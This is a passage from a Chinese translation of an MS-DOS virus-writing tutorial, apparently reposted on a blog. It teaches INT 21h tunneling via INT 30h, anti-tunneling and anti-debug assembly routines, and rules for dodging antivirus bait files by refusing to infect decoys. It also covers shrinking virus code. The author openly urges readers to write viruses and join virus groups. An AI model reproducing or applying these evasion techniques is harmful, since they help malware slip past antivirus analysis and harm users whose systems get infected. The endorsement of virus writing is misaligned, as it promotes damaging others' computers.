  ret 
;-----到这里为止剪切------------------------------------------------------- 


    相当简单而有效。试试看!而且,利用PSP跟踪的框架,我们可以使用另外一个方法,
INT 30h的后门。 
    PSP跟踪比普通跟踪更好,因为在第二个里面我们不知道我们是否正在执行一个病毒查
杀工具的代码,而使用PSP就不会发生了。 

%INT 30h 后门% 
~~~~~~~~~~~~~~ 
    如果你看懂了上面的技术,这就非常简单了。INT 30h有跳转到调度的代码,所以我们
可以如下写代码: 

  xor  bx,bx 
  mov  ds,bx 
  mov  bl,0C0h     ; INT 30h offset in IVT 
  jmp  trace_next 

    记住当在Windows环境下,INT 30h用来实现另外一个目的,一定要注意,但是那又是
另一段历史了 

%代码仿真(Code Emulators)% 
~~~~~~~~~~ 
    我现在还能记住的第一篇文章是Methyl[IR/G]以前写的一篇文章,发表在IR#8(IRG#1
?)。这个小教程不象Methyl的,我没有太多的空间(这篇教程正越来越大),所以这篇教程
是100%理论的。但是,不要放弃,它很容易理解。对我来说,仿真看起来是对老的byte-t
o-byte扫描的改进,但更先进和安全了。我不是说它们完全等价。byte-to-byte扫描仅仅
对操作码作比较,而仿真就象指令执行的时候那样做的事情:仿真遵循原程序的流程,有
假的跳转,函数调用...用这种方法,它所有可能的INT 21h跳转,这是我们所需要的。OK
,这个是概念。如果你想知道更多的东西,我建议你下载IR#8,看看Methyl的教程。那是
个很好的杂志,所以祝你好运! 

%高级tunneling% 
~~~~~~~~~~~~~~~ 
    啊...还是那句话:我不想使你的头脑因为太多的知识而爆炸。现在有更安全、更酷、
更新...的技术,但是它们都太难了,而且在这篇文章里介绍它们的实现将在你的硬盘上占
用太多的空间 

【Anti-tunneling】 
~~~~~~~~~~~~~~~~ 
    Tunneling技术还被反病毒工具用来安装它的产品,我们要获得原始INT 21h中断向量
的努力将会化为泡影,因为它们使用和我们一样的武器。我们不能这样,另外,其它病毒
可以tunnel我们,这不妙。系统是我们的,不是其它任何程序的! 
    正如ShitWare使用的检测是否有跟踪那样,我们可以使用它们自己的例程来对付它们
:它们没有对这个保护。当我们可以使用一个例程来触发陷阱标志来跟踪时...我们可以使
用另外一个例程来释放它吗?当然可以啦。非常简单。不使用一个OR来触发它,代之以AN
D。 

  pushf 
  pop  ax 
  and  ah,11111110h 
  push  ax 
  popf 

    是不是很迷人啊?利用这个,我们已经挫败了它们想偷取"我们的"INT 21h的企图。但
是...如果我们想要知道是否有人想要偷取它该知道些什么呢?下面的例程是从ARMOURING
这一章里抽出来的。 

  push  ax 
  pop  ax 
  dec  sp 
  dec  sp 
  pop  bx 
  cmp  ax,bx 
  jz  not_traced 
  jmp  $      ; If traced, freeze the processor 
 not_traced: 
  [...] 

    这一章是TUNNELING一章的扩展。所以...利用上面两个简单的例程,和一点点好运气
,你可以走得更远 

[反引诱(Anti-bait)] 
~~~~~~~~~~~~~~~~~~~ 
    诱饵/牺牲羊(sacrifical goats)是那些什么也不做的程序。你肯定会想知道为什么.
..它们使用这些程序来抓获将要感染它们的病毒。并且,它们将会给我们的病毒备份 
    但是当我们的病毒是多态的时候,我们将要面临严重的问题。它们将会对这些文件感
染大约一万次,来寻找一个可靠的扫描字符串and/or 算法来寻找所有可能的变异。毫无疑
问,如果我们添加代码来简单地拒绝对这些程序的感染,我们就能挫败它们(挫败那些相同
的人很枯燥,但是他们也想挫败我们...) 
    下面是不让(或更难)我们的病毒感染一个诱饵程序时你要遵循的几点: 

- 不要感染大小<5000的文件,或者更大一些,<10000。所以我们是的反病毒工具创建100
00个诱饵,每个10000个字节。所以它们将要至少需要100M的空间 

- 不要感染以数字编号最为其文件名的文件。诱饵程序通常命名为"00000000.com","000
00001.com"等等。 

-不要感染具有连续的名字的文件。这个看起来和上面的类似,实际上不。如果它们发现我
们的文件不感染具有数字的文件,它们就会创建文件如"AAAAAAAA.COM","AAAAAAAB.COM"
及类似的文件。 

- 不要感染具有相同大小的连续的文件,这种情况和上面的两种情况类似。 

- 不要感染具有当天日期的文件。几乎所有的可执行文件在计算机上具有不同的日期。但
是很难找到一个文件正好是当天的日期(并不是所有的,但是几乎所有的诱饵就是这个日期
)。 

- 抓住一个记时器中断,或者其它的来避免至少每隔10分钟才感染一个文件。想象一下情
形...一个反病毒程序会不停地试图获得我们的病毒的扫描字符串,并且反病毒人员会重起
很多次来找到是什么原因导致了病毒拒绝感染。而如果每次重起我们使得他等10分钟...他
将会在我们的病毒上浪费大量的时间 

- 不要感染在根目录下的文件,很多诱饵程序产生器在根目录下生成诱饵程序,所以这次
它们又要受挫了 

- 不要感染具有0-跳转和调用的文件:这个仅仅被诱饵和PER用到,所以...搜索所有的E9
0000,E800,[70..7F] 00等代码。 

- 毫无疑问,检查大量的NOP,对同一个寄存器(XCHG BX,BX)XCHG,对同一个寄存器mov操作
的指令... 

- 检查大量的0字节,或者对同一个寄存器的连续INC/DEC操作...你什么时候看过在INC  
DX后面跟着DEC DX??? 

- 检测文件执行的第一个操作是否为MOV AX,4C00h/INT 21h或者一个INT 20h。 

    如果一个病毒在它的代码中执行了上面的至少5个情况,那么毫无疑问它是一个高强度
的反-诱饵(anti-bait)。 

【优化(Optimization)】 
~~~~~~~~~~~~~~~~~~~~ 
    有两种类型的优化:结构优化和局部优化。在这一小章里我们将讨论这两种类型。但
是首先你必须懂得一件事:在它不影响功能的条件下优化你的代码。如果你作了不起作用
的优化,有很多使得它不能工作,你需要修正它,那么你就会犯越来越多的错误...一个永
不休止的恶性循环 

%结构优化% 
~~~~~~~~~~ 
    这是最有效的,也是很难做到和理解的。这种类型的优化通过使用一张纸把你的病毒
的代码写在上面后就能够被很容易的理解了。我们这里没有纸,所以让我们想象一种情形
...假设你,在你的病毒里,以只读打开文件,关闭,再以读/写方式打开文件,再关闭,
这是字节的浪费。对于这种类型的优化,你必须对你能改变和保存哪些字节考虑。解决方
法肯定因你的问题不同而不同。 

%局部优化% 
~~~~~~~~~~ 
    尽管它能节约很多字节,这个是最简单的方法。它在于单独地改变一些代码行,做相
同的事情而能使用更少的字节。 

    给寄存器清0: 

  mov  bx,0000h    ; 3 bytes 
  xor  bx,bx      ; 2 bytes 
  sub  bx,bx      ; 2 bytes 

    所以,永远不要使用第一个,要选择其它的方式。有一个寄存器可以用其它的方法清
零:DX。让我们来看: 

  mov  dx,0000h    ; 3 bytes 
  xor  dx,dx      ; 2 bytes 
  sub  dx,dx      ; 2 bytes 
  cwd        ; Convert word to dword ( 1 byte ) 

    CWD将在AX比8000h小的时候工作。有一种只用一个字节就可以给AH清零的方法:如果
AL<80h,你可以使用CBW指令。 

    比较: 

    我们都知道一个很著名的方法,那就是对下面的指令使用特殊的指令:CMP。在比较两
个寄存器时,你可以使用下面能得到相同结果的方法,没有任何节约: 

  cmp  ax,bx      ; 2 bytes 
  xor  ax,bx      ; 2 bytes 

    但是如果我们仅仅想知道两个值是否相等,我们可以在任何情况下使用XOR,如果我们
在比较一个寄存器和一个值的时候使用XOR而不使用CMP就可以节约字节: 

  cmp  ax,0666h    ; 3 bytes 
  xor  ax,0666h    ; 2 bytes 

    但是,由于XOR指令的自然属性,我们可以用它来判断一个寄存器是否为0。但是下面
可以用OR来节约字节... 

  cmp  ax,0000h    ; 3 bytes 
  or  ax,ax      ; 2 bytes 

    寄存器优化 - AX: 

    你可以利用它来作比较: 

  cmp  bx,0666h    ; 4 bytes 
  cmp  ax,0666h    ; 3 bytes 

     而且你还可以用一种非常优化的方法把AX的值赋给另外一个寄存器: 

  mov  bx,ax      ; 2 bytes 
  xchg  ax,bx      ; 1 byte 

    你做这个的时候,AX和BX的值是否改变都不重要。在一个文件打开后确实很好,因为
文件句柄在BX中更好。 

    字符串操作: 

    每一个字符串操作(MOVS,STOS,SCAS...)都是优化形式。让我们看看你利用它来做什么
: 

- MOVS:从DS:[SI]到ES:[DI]的移动 

  les  di,ds:[si]    ; 3 bytes 

  movsb        ; If we want a byte ( 1 byte ) 
  movsw        ; If we want a word ( 1 byte ) 
  movsd        ; If we want a dword ( 2 bytes ) 386+ 

- LODS: 把位置DS:[SI]的值放进累加器 

  mov  ax,ds:[si]    ; 2 bytes 

  lodsb        ; If we want a byte ( 1 byte ) 
  lodsw        ; If we want a word ( 1 byte ) 
  lodsd        ; If we want a dword ( 2 bytes ) 386+ 

- STOS: 把位置ES:[SI]的值放进累加器 

  les  di,al      ; Can't do this! 
  les  di,ax      ; Can't do this! 

  stosb        ; If we want a byte ( 1 byte ) 
  stosw        ; If we want a word ( 1 byte ) 
  stosd        ; If we want a dword ( 2 bytes ) 386+ 

- CMPS:比较DS:[SI]和ES:[DI]里的值 

  cmp  ds:[si],es:[di]   ; Can't have 2 segment overrides! 

  cmpsb        ; If we want a byte ( 1 byte ) 
  cmpsw        ; If we want a word ( 1 byte ) 
  cmpsd        ; If we want a dword ( 2 bytes ) 386+ 

- SCAS:比较累加器的值和ES:[DI] 

  cmp  ax,es:[di]    ; 3 bytes 

  scasb        ; If we want a byte ( 1 byte ) 
  scasw        ; If we want a word ( 1 byte ) 
  scasd        ; If we want a dword ( 2 bytes ) 386+ 

    16位寄存器: 

    通常,使用16位寄存器比8位寄存器更优化。让我们一个MOV指令的例子: 

  mov  ah,06h      ; 2 bytes 
  mov  al,66h      ; 2 bytes ( 4 bytes total ) 

  mov  ax,0666h    ; 3 bytes 

    加/减任何16位寄存器也更优化: 

  inc  al      ; 2 bytes 
  inc  ax      ; 1 byte 

  dec  al      ; 2 bytes 
  dec  ax      ; 1 byte 

    基和段: 

    从一个段到另一个段的移动不能直接进行,所以我们必须对它处理: 

  mov  es,ds      ; Can't do this! 

  mov  ax,ds      ; 2 bytes 
  mov  es,ax      ; 2 bytes ( 4 bytes total ) 

  push  ds      ; 1 byte 
  pop  es      ; 1 byte ( 2 bytes total ) 

    使用DI/SI比使用BP更先进。 

  mov  ax,ds:[bp]    ; 4 bytes 
  mov  ax,ds:[si]    ; 3 bytes 

    过程: 

    如果你使用一个例程很多次,你必须考虑编写一个过程的可能性。这个能优化你的代
码。无论如何,对过程的使用不当会使我们的需要相反:代码将会增长。所以,如果你想
知道一个例程到过程的转变能否节约字节,你可以使用下面的公式: 

 X = [rout. size - (CALL size + RET size)] * number of calls - rout. size 

    CALL size+ RET size表示4个字节。X使我们将会节约的字节。让我们看看节约一些字
节的经典函数,文件指针的移动: 

 fpend: mov  ax,4202h    ; 3 bytes 
 fpmov: xor  cx,cx      ; 2 bytes 
  cwd        ; 1 byte 
  int  21h      ; 2 bytes 
  ret        ; 1 byte 

    我们得到8字节+CALL 大小...11字节。让我们看看这个是否能优化我们的代码: 

 X = [ 7 - ( 3 + 1 ) ] * 3 - 7 
 X = 2 bytes saved 

    毫无疑问,这是一个创造性的计算。你调用这个例程可以多于3次(或更少),使它的大
小不同,和更多的东西。 

    局部优化的最后几点: 

- 使用SFT。在这个结构里你已经有很多有用的信息了,并且你可以没有任何问题地操作它
。 

- 使你的编译器至少扫描你的代码三遍来排除无用的NOP和其它的东西。 

- 使用堆栈。 

- 使用MOV offset的LEA指令更优化。 

【附录1:新学校】 
~~~~~~~~~~~~~~~ 
主要介绍windows 编程,可见第二部分Billy Belceb 的Win32病毒写作教程。这里略。 


【附录2:病毒发作】 
~~~~~~~~~~~~~~~~~ 
     你必须对你的病毒的发作程序多花功夫,因为它是用户对你的病毒所能唯一看到的东
西。那种仅仅破坏硬盘或者删除文件的发作不是新颖的,它只会表面用户不能再做更好的
事情了。如果你就是想搞破坏,那你的工作就不是病毒意义上的工作:木马是非常容易写
的,所以把你的精力花到木马开发上去。 
   我并不是说不允许任何类型的破坏,但是它必须要在特定的时候,如有人正试图调试这
个病毒。我认为不想在我们身上发生的事情最好也不要在别人身上发生。 
   病毒中很新颖的发作的例子有Elvira,Cascade,Claudia Schiffer(呵呵呵),Ambulan
ce... 

【结束语】 
    你可以认为写这么一篇教程对我来说是一个痛苦,但实际上不,我在写这篇教程的时
候确实很开心,我希望你读的时候也很开心。[译者注:译者在翻译这篇教程的时候也感到
很开心,真是受益匪浅啊!] 
       我的目标是写一篇彻底的教程,以运行期com病毒开始,讨论了一些很酷的技术如
polymorphism和tunneling。我这么做是为了教会一些人,有时候自己也能从中受益。现在
,该轮到你了,记住在哪里学到的病毒知识读完之后,理解,实践,你就能够编写非常好
的病毒了,而且,如果你愿意,写一些文章发表到一些病毒杂志上去,或者加入一个病毒
组织 
       在说完再见之后,我必须向一些人问候,是他们帮助了我,有些是我非常崇拜的。
正如在我介绍的时候所说的,这篇文章献给zAxon(呵呵...我写对了你的昵称)。在我打电话
给他问诸如"我该怎样拷贝一个文件?"或者"这个程序是什么...PKZIP?",在我的起步阶段
,他回答了我的问题。他对我的病毒工程,想法总是很认真地听取。拥有他这么一个朋友
真好 
       这篇文章还献给那些努力写教程给那些对病毒很感兴趣,对编写病毒很向往的人看
的人。病毒界肯定会有光明的前景的...永远的病毒编写者! 
    当然,我必须特别提到Dark Angel,Dark Avenger,Griyo,b0z0,Owl,StarZer0,Neurob
asher,Vyvojar,Qark,Qautum,INT 13h,Murkry,Jack Qwerty,Darkman,Super,和那些已经震
惊世界,并仍然震惊世界的人。 

       PS:这篇教程是针对从几个世纪之前就存在的操作系统的:MS-DOS.RIP。 

Valencia 

Billy Belceb 
mass killer and ass kicker. 


                           ---The End---  
 


你可能感兴趣的:(转载一个病毒programguide,过后给大家写下感想,学8086时,写过com病毒)